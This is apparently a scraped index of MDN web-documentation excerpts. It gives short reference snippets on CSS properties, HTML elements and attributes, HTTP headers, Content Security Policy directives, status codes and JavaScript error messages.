formal definition initial valueautoapplies topositioned elementsinheritednocomputed valueas specifiedanimation typean integercreates stacking contextyes formal syntax auto | <integer> examples visually layering elements html <div class="dashed-box">dashed box <span class="gold-box">gold box</span> <span class="green-box">green box</span> </div> css .dashed-box { position: relative; z-index: 1; border: dashed; height: 8em; margin-bottom: 1em; margin-top: 2em; } .gold-box { position: absolute; z-index: 3; /* put .gold-box above .green-box and .dashed-box */ background: gold; width: 80%; left: 60px; to...
zoom - CSS: Cascading Style Sheets
WebCSSzoom
formal definition initial valuenormalapplies toall elementsinheritednocomputed valueas specifiedanimation typean integer formal syntax normal | reset | <number> | <percentage> examples first example html <p class="small">small</p> <p class="normal">normal</p> <p class="big">big</p> css p.small { zoom: 75%; } p.normal { zoom: normal; } p.big { zoom: 2.5; } p { display: inline-block; } p:hover { zoom: reset; } result second example html <div id="a" class="circle"></div> <div id="b" class="circle"></div> <div id="c" class="circle"></div> css div.circle { width: 25px; height: 25px; bo...
regexp:match() - EXSLT
WebEXSLTregexpmatch
for example: <xsl:for-each select="regexp:match('http://developer.mozilla.org/en/docs/firefox_3_for_developers', '(\w+):\/\/([^/:]+)(:\d*)?([^# ]*)')"> part <xsl:value-of select="position()" /> = <xsl:value-of select="." /> </xsl:for-each> this code generates the following output: part 1 = http://developer.mozilla.org/en/docs/firefox_3_for_developers part 2 = http part 3 = developer.mozilla.
Ajax - Developer guides
WebGuideAJAX
asynchronous javascript and xml, while not a technology in itself, is a term coined in 2005 by jesse james garrett, that describes a "new" approach to using a number of existing technologies together, including html or xhtml, css, javascript, dom, xml, xslt, and most importantly the xmlhttprequest object.
Media events - Developer guides
you can easily watch for these events, using code such as the following: var v = document.getelementsbytagname("video")[0]; v.addeventlistener("seeked", function() { v.play(); }, true); v.currenttime = 10.0; this example fetches the first video element in the document and attaches an event listener to it, watching for the seeked event, which is sent whenever a seek operation completes.
Introduction to HTML5 - Developer guides
now, it is very simple: <meta charset="utf-8"> place this right after your <head>, as some browsers restart the parsing of an html document if the declared character set is different from what they had anticipated.
A hybrid approach - Developer guides
separate sites responsive design original document information this article was originally published on 27 june 2011, on the mozilla webdev blog as "approaches to mobile web development part 4 – a hybrid approach", by jason grlicky.
Mobile-friendliness - Developer guides
separate sites responsive design a hybrid approach original document information originally published on 4 may, 2011 on the mozilla webdev blog as "approaches to mobile web development part 1 - what is mobile friendliness?", by jason grlicky.
Developer guides
the transmission is in the same format that the form's submit() method would use to send the data if the form's encoding type were set to "multipart/form-data".
HTML attribute: capture - HTML: Hypertext Markup Language
<p> <label for="soundfile">what does your voice sound like?:</label> <input type="file" id="soundfile" capture="user" accept="audio/*"> </p> <p> <label for="videofile">upload a video:</label> <input type="file" id="videofile" capture="environment" accept="video/*"> </p> <p> <label for="imagefile">upload a photo of yourself:</label> <input type="file" id="imagefile" capture="user" accept="image/*"> </p> ...
HTML attribute: maxlength - HTML: Hypertext Markup Language
examples <input type="password" maxlength="4"/> specifications specification status html living standardthe definition of 'maxlength attribute' in that specification.
HTML attribute: size - HTML: Hypertext Markup Language
WebHTMLAttributessize
<label for="fruit">enter a fruit</label> <input type="text" size="15" id="fruit"> <label for="vegetable">enter a vegetable</label> <input type="text" id="vegetable"> <select name="fruits" size="5"> <option>banana</option> <option>cherry</option> <option>strawberry</option> <option>durian</option> <option>blueberry</option> </select> <select name="vegetables" size="5"> <option>carrot</option> <opti...
<acronym> - HTML: Hypertext Markup Language
WebHTMLElementacronym
example <p>the <acronym title="world wide web">www</acronym> is only a component of the internet.</p> default styling though the purpose of this tag is purely for the convenience of the author, its default styling varies from one browser to another: some browsers, like internet explorer, do not style it differently than a <span> element.
<address>: The Contact Address element - HTML: Hypertext Markup Language
WebHTMLElementaddress
<address> you can contact author at <a href="http://www.somedomain.com/contact"> www.somedomain.com</a>.<br> if you see any bugs, please <a href="mailto:webmaster@somedomain.com"> contact webmaster</a>.<br> you may also want to visit us:<br> mozilla foundation<br> 331 e evelyn ave<br> mountain view, ca 94041<br> usa </address> result although it renders text with the same default styling as the <i> or <...
<applet>: The Embed Java Applet element - HTML: Hypertext Markup Language
WebHTMLElementapplet
example html <applet code="game.class" align="left" archive="game.zip" height="250" width="350"> <param name="difficulty" value="easy"> <b>sorry, you need java to play this game.</b> </applet> specifications specification status comment html 5.2the definition of '<applet>' in that specification.
<basefont> - HTML: Hypertext Markup Language
WebHTMLElementbasefont
example <basefont color="#ff0000" face="helvetica" size="+2" /> ...
<bdo>: The Bidirectional Text Override element - HTML: Hypertext Markup Language
WebHTMLElementbdo
examples <!-- switch text direction --> <p>this text will go left to right.</p> <p><bdo dir="rtl">this text will go right to left.</bdo></p> result notes the html 4 specification did not specify events for this element; they were added in xhtml.
<bgsound>: The Background Sound element (obsolete) - HTML: Hypertext Markup Language
WebHTMLElementbgsound
example <bgsound src="sound1.mid"> <bgsound src="sound2.au" loop="infinite"> usage notes historically, the <embed> element could be used with audio player plug-ins to play audio in the background in most browsers.
<big>: The Bigger Text element - HTML: Hypertext Markup Language
WebHTMLElementbig
<span class="bigger">this whole sentence is in bigger letters.</span> </p> result dom interface this element implements the htmlelement interface.
<blockquote>: The Block Quotation element - HTML: Hypertext Markup Language
<blockquote cite="https://tools.ietf.org/html/rfc1149"> <p>avian carriers can provide high delay, low throughput, and low altitude service.
<canvas>: The Graphics Canvas element - HTML: Hypertext Markup Language
WebHTMLElementcanvas
<canvas width="300" height="300"> an alternative text describing what your canvas displays.
<command>: The HTML Command element - HTML: Hypertext Markup Language
WebHTMLElementcommand
examples <command type="command" label="save" icon="icons/save.png" onclick="save()"> specifications specification status comment html5the definition of '<command>' in that specification.
<content>: The Shadow DOM Content Placeholder element (obsolete) - HTML: Hypertext Markup Language
WebHTMLElementcontent
shadowroot.innerhtml = '<h2>inserted heading</h2> <content select="p"></content>'; </script> </body> </html> if you display this in a web browser it should look like the following.
<data> - HTML: Hypertext Markup Language
WebHTMLElementdata
<p>new products</p> <ul> <li><data value="398">mini ketchup</data></li> <li><data value="399">jumbo ketchup</data></li> <li><data value="400">mega jumbo ketchup</data></li> </ul> specifications specification status comment html living standardthe definition of '<data>' in that specification.
<datalist>: The HTML Data List element - HTML: Hypertext Markup Language
WebHTMLElementdatalist
examples <label for="mybrowser">choose a browser from this list:</label> <input list="browsers" id="mybrowser" name="mybrowser" /> <datalist id="browsers"> <option value="chrome"> <option value="firefox"> <option value="internet explorer"> <option value="opera"> <option value="safari"> <option value="microsoft edge"> </datalist> result specifications specification status comment ...
<dl>: The Description List element - HTML: Hypertext Markup Language
WebHTMLElementdl
<dl> <dt>name</dt> <dd>godzilla</dd> <dt>born</dt> <dd>1952</dd> <dt>birthplace</dt> <dd>japan</dd> <dt>color</dt> <dd>green</dd> </dl> tip: it can be handy to define a key-value separator in the css, such as: dt::after { content: ": "; } wrapping name-value groups in <div> elements whatwg html allows wrapping each name-value group in a <dl> element in a <div> element.
<embed>: The Embed External Content element - HTML: Hypertext Markup Language
WebHTMLElementembed
examples <embed type="video/quicktime" src="movie.mov" width="640" height="480" title="title of my video"> accessibility concerns use the title attribute on an embed element to label its content so that people navigating with assistive technology such as a screen reader can understand what it contains.
<footer> - HTML: Hypertext Markup Language
WebHTMLElementfooter
to address this, add role="contentinfo" to the footer element.
<frameset> - HTML: Hypertext Markup Language
WebHTMLElementframeset
example <frameset cols="50%,50%"> <frame src="https://udn.realityripple.com/docs/web/html/element/frameset" /> <frame src="https://udn.realityripple.com/docs/web/html/element/frame" /> </frameset> ...
<header> - HTML: Hypertext Markup Language
WebHTMLElementheader
examples page header <header> <h1>main page title</h1> <img src="mdn-logo-sm.png" alt="mdn logo"> </header> article header <article> <header> <h2>the planet earth</h2> <p>posted on wednesday, <time datetime="2017-10-04">4 october 2017</time> by jane smith</p> </header> <p>we live on a planet that's blue and green, with so many things still unseen.</p> <p><a href="https://janesmith.com/the-planet-earth/">continue reading....</a></p> </article>...
<image>: The obsolete Image element - HTML: Hypertext Markup Language
WebHTMLElementimage
seriously, the specification even literally uses the words "don't ask" when describing this element.
<ins> - HTML: Hypertext Markup Language
WebHTMLElementins
ins::before, ins::after { clip-path: inset(100%); clip: rect(1px, 1px, 1px, 1px); height: 1px; overflow: hidden; position: absolute; white-space: nowrap; width: 1px; } ins::before { content: " [insertion start] "; } ins::after { content: " [insertion end] "; } some people who use screen readers deliberately disable announcing content that creates extra verbosity.
<li> - HTML: Hypertext Markup Language
WebHTMLElementli
ordered list <ol> <li>first item</li> <li>second item</li> <li>third item</li> </ol> ordered list with a custom value <ol type="i"> <li value="3">third item</li> <li>fourth item</li> <li>fifth item</li> </ol> unordered list <ul> <li>first item</li> <li>second item</li> <li>third item</li> </ul> specifications specification status comment html living standardthe definition of '<li>' in that specification.
<map> - HTML: Hypertext Markup Language
WebHTMLElementmap
examples <map name="primary"> <area shape="circle" coords="75,75,75" href="left.html"> <area shape="circle" coords="275,75,75" href="right.html"> </map> <img usemap="#primary" src="https://udn.realityripple.com/samples/6a/7e559101b3.png" alt="350 x 150 pic"> result expected live example output the live example above should appear similar to the following images (when using your keyboard tab key): for the l...
<marquee>: The Marquee element (Obsolete) - HTML: Hypertext Markup Language
WebHTMLElementmarquee
examples <marquee>this text will scroll from right to left</marquee> <marquee direction="up">this text will scroll from bottom to top</marquee> <marquee direction="down" width="250" height="200" behavior="alternate" style="border:solid"> <marquee behavior="alternate"> this text will bounce </marquee> </marquee> specifications specification status comment html living standardthe definition of '<marquee>' in that specification.
theme-color - HTML: Hypertext Markup Language
WebHTMLElementmetanametheme-color
example <meta name="theme-color" content="#4285f4"> the following image shows the effect that the <meta> element above will have on a document displayed in chrome running on an android mobile device.
<nav>: The Navigation Section element - HTML: Hypertext Markup Language
WebHTMLElementnav
<nav class="menu"> <ul> <li><a href="#">home</a></li> <li><a href="#">about</a></li> <li><a href="#">contact</a></li> </ul> </nav> specifications specification status comment html living standardthe definition of '<nav>' in that specification.
<nobr>: The Non-Breaking Text element (obsolete) - HTML: Hypertext Markup Language
WebHTMLElementnobr
instead, use the css property white-space like this: <span style="white-space: nowrap;">long line with no breaks</span> ...
<noframes>: The Frame Fallback element - HTML: Hypertext Markup Language
WebHTMLElementnoframes
<frameset cols="50%,50%"> <frame src="https://developer.mozilla.org/en/html/element/frameset" /> <frame src="https://developer.mozilla.org/en/html/element/frame" /> <noframes><p>it seems your browser does not support frames or is configured to not allow them.</p></noframes> </frameset> specifications specification status comment html5the definition of 'noframes' in that speci...
<noscript> - HTML: Hypertext Markup Language
WebHTMLElementnoscript
examples <noscript> <!-- anchor linking to external file --> <a href="https://www.mozilla.com/">external link</a> </noscript> <p>rocks!</p> result with scripting enabled rocks!
<object> - HTML: Hypertext Markup Language
WebHTMLElementobject
no percentages) examples embed a flash movie <!-- embed a flash movie --> <object data="movie.swf" type="application/x-shockwave-flash"></object> <!-- embed a flash movie with parameters --> <object data="movie.swf" type="application/x-shockwave-flash"> <param name="foo" value="bar"> </object> specifications specification status comment html living standardthe definition of '<object>' in that specification.
<optgroup> - HTML: Hypertext Markup Language
WebHTMLElementoptgroup
examples <select> <optgroup label="group 1"> <option>option 1.1</option> </optgroup> <optgroup label="group 2"> <option>option 2.1</option> <option>option 2.2</option> </optgroup> <optgroup label="group 3" disabled> <option>option 3.1</option> <option>option 3.2</option> <option>option 3.3</option> </optgroup> </select> result specifications specification status comment ...
<output>: The Output element - HTML: Hypertext Markup Language
WebHTMLElementoutput
<form oninput="result.value=parseint(a.value)+parseint(b.value)"> <input type="range" id="b" name="b" value="50" /> + <input type="number" id="a" name="a" value="10" /> = <output name="result" for="a b">60</output> </form> accessibility concerns many browsers implement this element as an aria-live region.
<progress>: The Progress Indicator element - HTML: Hypertext Markup Language
WebHTMLElementprogress
examples <progress value="70" max="100">70 %</progress> result on windows 7, the resulting progress looks like this: specifications specification status comment html living standardthe definition of '<progress>' in that specification.
<q>: The Inline Quotation element - HTML: Hypertext Markup Language
WebHTMLElementq
example <p>according to mozilla's website, <q cite="https://www.mozilla.org/about/history/details/">firefox 1.0 was released in 2004 and became a big success.</q></p> specifications specification status comment html living standardthe definition of '<q>' in that specification.
<rtc>: The Ruby Text Container element - HTML: Hypertext Markup Language
WebHTMLElementrtc
examples <div class="info"> <ruby> <rbc> <rb>旧</rb><rt>jiù</rt> <rb>金</rb><rt>jīn</rt> <rb>山</rb><rt>shān</rt> </rbc> <rtc>san francisco</rtc> </ruby> </div> .info { padding-top: 10px; font-size: 36px; } specifications specification status comment html 5.2the definition of '<rtc>' in that specification.
<small>: the side comment element - HTML: Hypertext Markup Language
WebHTMLElementsmall
<span style="font-size:0.8em">this whole sentence is in small letters.</span> </p> specifications specification status comments html living standardthe definition of '<small>' in that specification.
<spacer> - HTML: Hypertext Markup Language
WebHTMLElementspacer
example <span>just a text node</span> <spacer type="horizontal" size="10"></spacer> <span>just another text node</span> <spacer type="block" width="10" height="10"></spacer> specification not part of any specification.
<span> - HTML: Hypertext Markup Language
WebHTMLElementspan
example example 1 html <p><span>some text</span></p> result example 2 html <li><span> <a href="portfolio.html" target="_blank">see my portfolio</a> </span></li> css li span { background: gold; } result specifications specification status comment html living standardthe definition of '<span>' in that specification.
<style>: The Style Information element - HTML: Hypertext Markup Language
WebHTMLElementstyle
<!doctype html> <html> <head> <style> p { color: white; background-color: blue; padding: 5px; border: 1px solid black; } </style> <style media="all and (max-width: 500px)"> p { color: blue; background-color: yellow; } </style> </head> <body> <p>this is my paragraph.</p> </body> </html> technical summary content categories metadata content, and if the scoped attribute is present: flow content.
<summary>: The Disclosure Summary element - HTML: Hypertext Markup Language
WebHTMLElementsummary
default label text if a <details> element's first child is not a <summary> element, the user agent will use a default string (typically "details") as the label for the disclosure box.
<time> - HTML: Hypertext Markup Language
WebHTMLElementtime
d local date and time string 2011-11-18t14:54:39.929 2011-11-18 14:54:39.929 a valid global date and time string 2011-11-18t14:54:39.929z 2011-11-18t14:54:39.929-0400 2011-11-18t14:54:39.929-04:00 2011-11-18 14:54:39.929z 2011-11-18 14:54:39.929-0400 2011-11-18 14:54:39.929-04:00 a valid duration string pt4h18m3s examples simple example html <p>the concert starts at <time datetime="2018-07-07t20:00:00">20:00</time>.</p> output datetime example html <p>the concert took place on <time datetime="2001-05-15t19:00">may 15</time>.</p> output specifications specification status comment html living standardthe definition of '<time>' in that specification.
<tt>: The Teletype Text element (obsolete) - HTML: Hypertext Markup Language
WebHTMLElementtt
<p>enter the following at the telnet command prompt: <code>set localecho</code><br /> the telnet client should display: <tt>local echo is on</tt></p> result overriding the default font you can override the browser's default font—if the browser permits you to do so, which it isn't required to do—using css: css tt { font-family: "lucida console", "menlo", "monaco", "courier", monospace; } html <p>enter the following at the telnet command prompt: <code>set localecho</code><br /> the telnet client should display: <tt>local echo is on</tt></p> result usage notes the <tt> element is, by default, rendered using the browser's default non-proportional font.
draggable - HTML: Hypertext Markup Language
the correct usage is <img draggable="false">.
is - HTML: Hypertext Markup Language
} } // define the new element customelements.define('word-count', wordcount, { extends: 'p' }); <p is="word-count"></p> specifications specification status comment html living standardthe definition of 'is' in that specification.
spellcheck - HTML: Hypertext Markup Language
the correct usage is <textarea spellcheck="true"></textarea>.
x-ms-format-detection - HTML: Hypertext Markup Language
syntax <html x-ms-format-detection="none"> value all all supported data formats are detected.
Link types: preload - HTML: Hypertext Markup Language
see preloading content with rel="preload" for more details.
Quirks Mode and Standards Mode - HTML: Hypertext Markup Language
to ensure that your page uses full standards mode, make sure that your page has a doctype like in this example: <!doctype html> <html lang="en"> <head> <meta charset=utf-8> <title>hello world!</title> </head> <body> </body> </html> the doctype shown in the example, <!doctype html>, is the simplest possible, and the one recommended by html5.
Reason: CORS request external redirect not allowed - HTTP
for example, if the page https://service.tld/fetchdata were requested, and the http response is "301 moved permanently", "307 temporary redirect", or "308 permanent redirect" with a location of https://anotherservice.net/getdata, the cors request will fail in this manner.
Reason: expected ‘true’ in CORS header ‘Access-Control-Allow-Credentials’ - HTTP
if using the fetch api, make sure request.credentials is "omit".
Reason: missing token ‘xyz’ in CORS header ‘Access-Control-Allow-Headers’ from CORS preflight channel - HTTP
the value of access-control-allow-headers should be a comma-delineated list of header names, such as "x-custom-information" or any of the standard but non-basic header names (which are always allowed).
Configuring servers for Ogg media - HTTP
using preload="metadata" will preload the media file's metadata and possibly the first few frames of video.
List of default Accept values - HTTP
*/* see bug 170789 safari, chrome */* source internet explorer 8 or earlier */* see ie and the accept header (ieinternals' msdn blog) internet explorer 9 application/javascript, */*;q=0.8 see fiddler is better with internet explorer 9 (ieinternals' msdn blog) values for a css stylesheet when a css stylesheet is requested, via the <link rel="stylesheet"> html element, most browsers use specific values.
Content negotiation - HTTP
it is a list of values with quality factors (like: "de, en;q=0.7").
Accept-Language - HTTP
syntax accept-language: <language> accept-language: * // multiple types, weighted with the quality value syntax: accept-language: fr-ch, fr;q=0.9, en;q=0.8, de;q=0.7, *;q=0.5 directives <language> a language tag (which is sometimes referred to as a "locale identifier").
Accept - HTTP
WebHTTPHeadersAccept
header type request header forbidden header name no cors-safelisted request header yes, with the additional restriction that values can't contain a cors-unsafe request header byte: 0x00-0x1f (except 0x09 (ht)), "():<>?@[\]{}, and 0x7f (del).
CSP: block-all-mixed-content - HTTP
syntax content-security-policy: block-all-mixed-content; examples content-security-policy: block-all-mixed-content; <meta http-equiv="content-security-policy" content="block-all-mixed-content"> to disallow http assets on a more granular level, you can also set individual directives to https:.
CSP: child-src - HTTP
examples violation cases given this csp header: content-security-policy: child-src https://example.com/ this <iframe> and worker are blocked and won't load: <iframe src="https://not-example.com"></iframe> <script> var blockedworker = new worker("data:application/javascript,..."); </script> specifications specification status comment content security policy level 3the definition of 'child-src' in that specification.
CSP: connect-src - HTTP
examples violation cases given this csp header: content-security-policy: connect-src https://example.com/ the following connections are blocked and won't load: <a ping="https://not-example.com"> <script> var xhr = new xmlhttprequest(); xhr.open('get', 'https://not-example.com/'); xhr.send(); var ws = new websocket("https://not-example.com/"); var es = new eventsource("https://not-example.com/"); navigator.sendbeacon("https://not-example.com/", { ...
CSP: font-src - HTTP
examples violation cases given this csp header: content-security-policy: font-src https://example.com/ the following font resource loading is blocked and won't load: <style> @font-face { font-family: "myfont"; src: url("https://not-example.com/font"); } body { font-family: "myfont"; } </style> specifications specification status comment content security policy level 3the definition of 'font-src' in that specification.
CSP: frame-src - HTTP
examples violation cases given this csp header: content-security-policy: frame-src https://example.com/ the following <iframe> is blocked and won't load: <iframe src="https://not-example.com/"></iframe> specifications specification status comment content security policy level 3the definition of 'frame-src' in that specification.
CSP: img-src - HTTP
examples violation cases given this csp header: content-security-policy: img-src https://example.com/ the following <img> is blocked and won't load: <img src="https://not-example.com/foo.jpg" alt="example picture"> specifications specification status comment content security policy level 3the definition of 'img-src' in that specification.
CSP: manifest-src - HTTP
examples violation cases given this csp header: content-security-policy: manifest-src https://example.com/ the following <link> is blocked and won't load: <link rel="manifest" href="https://not-example.com/manifest"> specifications specification status comment content security policy level 3the definition of 'manifest-src' in that specification.
CSP: media-src - HTTP
examples violation cases given this csp header: content-security-policy: media-src https://example.com/ the following <audio>, <video> and <track> elements are blocked and won't load: <audio src="https://not-example.com/audio"></audio> <video src="https://not-example.com/video"> <track kind="subtitles" src="https://not-example.com/subtitles"> </video> specifications specification status comment content security policy level 3the definition of 'media-src' in that specification.
CSP: object-src - HTTP
examples violation cases given this csp header: content-security-policy: object-src https://example.com/ the following <object>, <embed>, and <applet> elements are blocked and won't load: <embed src="https://not-example.com/flash"></embed> <object data="https://not-example.com/plugin"></object> <applet archive="https://not-example.com/java"></applet> specifications specification status comment content security policy level 3the definition of 'object-src' in that specification.
CSP: plugin-types - HTTP
<meta http-equiv="content-security-policy" content="object-src 'none'"> allowing flash content the content security policy content-security-policy: plugin-types application/x-shockwave-flash will allow to load flash objects: <object data="https://example.com/flash" type="application/x-shockwave-flash"></object> allowing java applets to load an <applet> you must specify application/x-java-applet: content-sec...
CSP: prefetch-src - HTTP
example prefetch resources do not match header given a page with the following content security policy: content-security-policy: prefetch-src https://example.com/ fetches for the following code will return network errors, as the urls provided do not match prefetch-src's source list: <link rel="prefetch" src="https://example.org/"></link> <link rel="prerender" src="https://example.org/"></link> specification specification status comment content security policy level 3the definition of 'prefetch-src' in that specification.
CSP: require-sri-for - HTTP
<script src="https://code.jquery.com/jquery-3.1.1.slim.js" integrity="sha256-5i/mq300m779n2ovdrl16lbohwxnudzl/r2avuxyxwa=" crossorigin="anonymous"></script> however, scripts without integrity won't load anymore: <script src="https://code.jquery.com/jquery-3.1.1.slim.js"></script> ...
CSP: sandbox - HTTP
allow-popups allows popups (like from window.open, target="_blank", showmodaldialog).
CSP: style-src-elem - HTTP
the http content-security-policy (csp) style-src-elem directive specifies valid sources for stylesheets <style> elements and <link> elements with rel="stylesheet".
CSP: worker-src - HTTP
examples violation cases given this csp header: content-security-policy: worker-src https://example.com/ worker, sharedworker, serviceworker are blocked and won't load: <script> var blockedworker = new worker("data:application/javascript,..."); blockedworker = new sharedworker("https://not-example.com/"); navigator.serviceworker.register('https://not-example.com/sw.js'); </script> specifications specification status comment content security policy level 3the definition of 'worker-src' in that specification.
Cross-Origin-Embedder-Policy - HTTP
for example, you can use the crossorigin attribute for this image from a third-party site: <img src="https://thirdparty.com/img.png" crossorigin> specifications specification html living standardthe definition of 'cross-origin-embedder-policy header' in that specification.
DNT - HTTP
WebHTTPHeadersDNT
examples reading do not track status from javascript the user's dnt preference can also be read from javascript using the navigator.donottrack property: navigator.donottrack; // "0" or "1" specifications specification status comment tracking preference expression (dnt)the definition of 'dnt header field for http requests' in that specification.
Expect - HTTP
WebHTTPHeadersExpect
header type request header forbidden header name yes syntax no other expectations except "100-continue" are specified currently.
Feature-Policy: fullscreen - HTTP
it can do so by delivering the following http response header to define a feature policy: feature-policy: fullscreen 'self' then include an allow attribute on the <iframe> element: <iframe src="https://other.com/videoplayer" allow="fullscreen"></iframe> iframe attributes can selectively enable features in certain frames, and not in others, even if those frames contain documents from the same origin.
Feature-Policy: geolocation - HTTP
it can do so by delivering the following http response header to define a feature policy: feature-policy: geolocation 'self' then include an allow attribute on the <iframe> element: <iframe src="https://other.com/map" allow="geolocation"></iframe> iframe attributes can selectively enable features in certain frames, and not in others, even if those frames contain documents from the same origin.
Feature-Policy: unsized-media - HTTP
this restriction solves "layout instability" problem caused by providing default dimensions for images whose size is not specified in advance so that image doesn't change size after loading.
Keep-Alive - HTTP
the connection header needs to be set to "keep-alive" for this header to have any meaning.
NEL - HTTP
WebHTTPHeadersNEL
header type response header forbidden header name no syntax nel: { "report_to": "name_of_reporting_group", "max_age": 12345, "include_subdomains": false, "success_fraction": 0.0, "failure_fraction": 1.0 } specifications specification network error logging ...
Proxy-Authorization - HTTP
a common type is "basic".
Server-Timing - HTTP
// single metric without value server-timing: missedcache // single metric with value server-timing: cpu;dur=2.4 // single metric with description and value server-timing: cache;desc="cache read";dur=23.2 // two metrics with value server-timing: db;dur=53, app;dur=47.2 // server-timing as trailer trailer: server-timing --- response body --- server-timing: total;dur=123.4 privacy and security the server-timing header may expose potentially sensitive application and infrastructure information.
Set-Cookie - HTTP
it also must not contain a separator character like the following: ( ) < > @ , ; : \ " / [ ] ?
Timing-Allow-Origin - HTTP
header type response header forbidden header name no syntax timing-allow-origin: * timing-allow-origin: <origin>[, <origin>]* directives * the server may specify "*" as a wildcard, thereby allowing any origin to see timing resources.
Trailer - HTTP
WebHTTPHeadersTrailer
the te request header needs to be set to "trailers" to allow trailer fields.
X-XSS-Protection - HTTP
example block pages from loading when they detect reflected xss attacks: x-xss-protection: 1; mode=block php header("x-xss-protection: 1; mode=block"); apache (.htaccess) <ifmodule mod_headers.c> header set x-xss-protection "1; mode=block" </ifmodule> nginx add_header "x-xss-protection" "1; mode=block"; specifications not part of any specifications or drafts.
An overview of HTTP - HTTP
WebHTTPOverview
for example: get / http/1.1 host: developer.mozilla.org accept-language: fr read the response sent by the server, such as: http/1.1 200 ok date: sat, 09 oct 2010 14:28:02 gmt server: apache last-modified: tue, 01 dec 2009 20:18:22 gmt etag: "51142bc1-7449-479b075b2891b" accept-ranges: bytes content-length: 29769 content-type: text/html <!doctype html...
HTTP resources and specifications - HTTP
s ietf draft rfc 2145 use and interpretation of http version numbers informational rfc 6585 additional http status codes proposed standard rfc 7538 the hypertext transfer protocol status code 308 (permanent redirect) proposed standard rfc 7725 an http status code to report legal obstacles on the standard track rfc 2397 the "data" url scheme proposed standard rfc 3986 uniform resource identifier (uri): generic syntax internet standard rfc 5988 web linking defines the link header proposed standard experimental spec hypertext transfer protocol (http) keep-alive header informational (expired) draft spec http client hints ietf draft rfc 7578 re...
A typical HTTP session - HTTP
WebHTTPSession
example responses successful web page response: http/1.1 200 ok content-type: text/html; charset=utf-8 content-length: 55743 connection: keep-alive cache-control: s-maxage=300, public, max-age=0 content-language: en-us date: thu, 06 dec 2018 17:37:18 gmt etag: "2e77ad1dc6ab0b53a2996dfd4653c1c3" server: meinheld/0.6.1 strict-transport-security: max-age=63072000 x-content-type-options: nosniff x-frame-options: deny x-xss-protection: 1; mode=block vary: accept-encoding,cookie age: 7 <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <title>a simple webpage</title> </head> <body> <h1>simple html5 webpage</h1> <p>hello, world!</p> </body...
103 Early Hints - HTTP
WebHTTPStatus103
please contribute data for "http.status.103" (depth: 1) to the mdn compatibility data repository.
307 Temporary Redirect - HTTP
WebHTTPStatus307
this is useful when you want to give an answer to a put method that is not the uploaded resources, but a confirmation message (like "you successfully uploaded xyz").
401 Unauthorized - HTTP
WebHTTPStatus401
status 401 unauthorized example response http/1.1 401 unauthorized date: wed, 21 oct 2015 07:28:00 gmt www-authenticate: basic realm="access to staging site" specifications specification title rfc 7235, section 3.1: 401 unauthorized http/1.1: authentication ...
407 Proxy Authentication Required - HTTP
WebHTTPStatus407
status 407 proxy authentication required example response http/1.1 407 proxy authentication required date: wed, 21 oct 2015 07:28:00 gmt proxy-authenticate: basic realm="access to internal site" specifications specification title rfc 7235, section 3.2: 407 proxy authentication required http/1.1: authentication ...
408 Request Timeout - HTTP
WebHTTPStatus408
a server should send the "close" connection header field in the response, since 408 implies that the server has decided to close the connection rather than continue waiting.
429 Too Many Requests - HTTP
WebHTTPStatus429
the http 429 too many requests response status code indicates the user has sent too many requests in a given amount of time ("rate limiting").
500 Internal Server Error - HTTP
WebHTTPStatus500
this error response is a generic "catch-all" response.
508 Loop Detected - HTTP
WebHTTPStatus508
it indicates that the server terminated an operation because it encountered an infinite loop while processing a request with "depth: infinity".
JavaScript language resources - JavaScript
you can participate in or just track the work on the next revisions of the ecmascript language specification, code-named "harmony", and the ecmascript internationalization api specification via public wiki and the es-discuss mailing list linked from ecmascript.org.
About the JavaScript reference - JavaScript
as you write javascript code, you'll refer to these pages often (thus the title "javascript reference").
Warning: -file- is being assigned a //# sourceMappingURL, but already has one - JavaScript
the javascript warning "-file- is being assigned a //# sourcemappingurl, but already has one." occurs when a source map has been specified more than once for a given javascript source.
TypeError: invalid Array.prototype.sort argument - JavaScript
the javascript exception "invalid array.prototype.sort argument" occurs when the argument of array.prototype.sort() isn't either undefined or a function which compares its operands.
SyntaxError: return not in function - JavaScript
the javascript exception "return (or yield) not in function" occurs when a return or yield statement is called outside of a function.
Warning: expression closures are deprecated - JavaScript
the javascript warning "expression closures are deprecated" occurs when the non-standard expression closure syntax (shorthand function syntax) is used.
SyntaxError: test for equality (==) mistyped as assignment (=)? - JavaScript
the javascript warning "test for equality (==) mistyped as assignment (=)?" occurs when there was an assignment (=) when you would normally expect a test for equality (==).
SyntaxError: identifier starts immediately after numeric literal - JavaScript
the javascript exception "identifier starts immediately after numeric literal" occurs when an identifier started with a digit.
RangeError: invalid array length - JavaScript
the javascript exception "invalid array length" occurs when creating an array or an arraybuffer which has a length which is either negative or larger or equal to 232, or when setting the array.length property to a value which is either negative or larger or equal to 232.
RangeError: invalid date - JavaScript
the javascript exception "invalid date" occurs when a string leading to an invalid date has been provided to date or date.parse().
SyntaxError: a declaration in the head of a for-of loop can't have an initializer - JavaScript
the javascript exception "a declaration in the head of a for-of loop can't have an initializer" occurs when the head of a for...of loop contains an initializer expression such as |for (var i = 0 of iterable)|.
SyntaxError: missing : after property id - JavaScript
the javascript exception "missing : after property id" occurs when objects are created using the object initializer syntax.
SyntaxError: missing } after function body - JavaScript
the javascript exception "missing } after function body" occurs when there is a syntax mistake when creating a function somewhere.
SyntaxError: missing } after property list - JavaScript
the javascript exception "missing } after property list" occurs when there is a mistake in the object initializer syntax somewhere.
SyntaxError: missing = in const declaration - JavaScript
the javascript exception "missing = in const declaration" occurs when a const declaration was not given a value in the same statement (like const red_flag;).
TypeError: More arguments needed - JavaScript
the javascript exception "more arguments needed" occurs when there is an error with how a function is called.
RangeError: repeat count must be non-negative - JavaScript
the javascript exception "repeat count must be non-negative" occurs when the string.prototype.repeat() method is used with a count argument that is a negative number.
RangeError: precision is out of range - JavaScript
the javascript exception "precision is out of range" occurs when a number that's outside of the range of 0 and 20 (or 21) was passed into tofixed or toprecision.
RangeError: repeat count must be less than infinity - JavaScript
the javascript exception "repeat count must be less than infinity" occurs when the string.prototype.repeat() method is used with a count argument that is infinity.
Warning: unreachable code after return statement - JavaScript
the javascript warning "unreachable code after return statement" occurs when using an expression after a return statement, or when using a semicolon-less return statement but including an expression directly after.
TypeError: 'x' is not iterable - JavaScript
the javascript exception "is not iterable" occurs when the value which is given as the right hand-side of for…of or as argument of a function such as promise.all or typedarray.from, is not an iterable object.
Method definitions - JavaScript
